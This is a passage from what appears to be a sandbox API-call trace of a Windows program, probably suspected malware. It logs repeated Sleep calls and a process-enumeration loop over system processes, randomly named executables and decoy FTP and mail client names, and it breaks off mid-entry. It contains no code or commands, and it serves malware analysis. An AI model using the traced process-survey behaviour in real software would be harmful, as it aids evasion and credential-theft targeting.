[0308.392] Sleep (dwMilliseconds=0x258) [0308.394] Sleep (dwMilliseconds=0x258) [0308.395] Sleep (dwMilliseconds=0x258) [0308.397] Sleep (dwMilliseconds=0x258) [0308.398] Sleep (dwMilliseconds=0x258) [0308.400] Sleep (dwMilliseconds=0x258) [0308.401] Sleep (dwMilliseconds=0x258) [0308.403] Sleep (dwMilliseconds=0x258) [0308.404] Sleep (dwMilliseconds=0x258) [0308.530] Sleep (dwMilliseconds=0x258) [0308.550] Sleep (dwMilliseconds=0x258) [0308.552] Sleep (dwMilliseconds=0x258) [0308.553] Sleep (dwMilliseconds=0x258) [0308.555] Sleep (dwMilliseconds=0x258) [0308.556] Sleep (dwMilliseconds=0x258) [0308.558] Sleep (dwMilliseconds=0x258) [0308.559] Sleep (dwMilliseconds=0x258) [0308.561] Sleep (dwMilliseconds=0x258) [0308.562] Sleep (dwMilliseconds=0x258) [0308.564] Sleep (dwMilliseconds=0x258) [0308.566] Sleep (dwMilliseconds=0x258) [0308.569] Sleep (dwMilliseconds=0x258) [0308.585] Sleep (dwMilliseconds=0x258) [0308.670] Sleep (dwMilliseconds=0x258) [0308.694] Sleep (dwMilliseconds=0x258) [0309.534] Sleep (dwMilliseconds=0x258) [0309.649] Sleep (dwMilliseconds=0x258) [0309.720] Sleep (dwMilliseconds=0x258) Thread: id = 53 os_tid = 0x13dc [0110.509] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e90 [0110.526] Process32First (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.529] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.534] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.537] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.539] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.542] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.543] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.587] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.590] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.593] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.600] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.602] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.604] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.606] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.607] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.609] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.611] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.613] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.615] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.616] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.618] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.621] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.623] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.624] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.626] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.628] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0110.629] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0110.631] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.634] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.636] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.638] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0110.639] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.642] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.644] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0110.646] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.648] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.650] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.652] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.654] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0110.656] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0110.658] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.659] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0110.661] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.663] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0110.666] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0110.668] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0110.670] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0110.703] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0110.706] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0110.709] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0110.711] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0110.713] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0110.715] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0110.716] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0110.718] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0110.720] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0110.721] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0110.723] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0110.726] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0110.728] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0110.731] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0110.733] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0110.736] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0110.738] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0110.740] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0110.743] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0110.745] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0110.748] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0110.750] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0110.753] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0110.755] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0110.757] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0110.760] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0110.763] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0110.765] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0110.767] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0110.769] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0110.771] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0110.774] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0110.776] Process32Next (in: hSnapshot=0x1e90, lppe=0x100cfe20 | 